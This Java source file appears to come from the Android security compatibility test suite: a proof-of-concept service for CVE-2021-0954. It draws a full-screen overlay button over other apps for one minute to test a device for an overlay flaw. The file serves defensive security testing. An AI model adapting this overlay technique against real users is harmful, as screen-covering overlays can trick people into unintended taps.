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/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.security.cts.cve_2021_0954;
import android.app.Service;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.PixelFormat;
import android.os.Handler;
import android.os.IBinder;
import android.provider.Settings;
import android.view.Gravity;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.Button;
public class PocService extends Service {
public static Button mButton;
private WindowManager mWindowManager;
private WindowManager.LayoutParams mLayoutParams;
private static int getScreenWidth() {
return Resources.getSystem().getDisplayMetrics().widthPixels;
}
private static int getScreenHeight() {
return Resources.getSystem().getDisplayMetrics().heightPixels;
}
@Override
public void onCreate() {
super.onCreate();
mWindowManager = getSystemService(WindowManager.class);
mLayoutParams = new WindowManager.LayoutParams();
mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
| WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
mLayoutParams.format = PixelFormat.OPAQUE;
mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
mLayoutParams.width = getScreenWidth();
mLayoutParams.height = getScreenHeight();
mLayoutParams.x = getScreenWidth() / 2;
mLayoutParams.y = getScreenHeight() / 2;
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
showFloatingWindow();
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() {
if (mWindowManager != null && mButton != null) {
mWindowManager.removeView(mButton);
}
super.onDestroy();
}
private void showFloatingWindow() {
if (Settings.canDrawOverlays(this)) {
mButton = new Button(getApplicationContext());
mButton.setText("OverlayButton");
mWindowManager.addView(mButton, mLayoutParams);
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
onDestroy();
}
}, 60000); // one minute
mButton.setTag(mButton.getVisibility());
}
}
}
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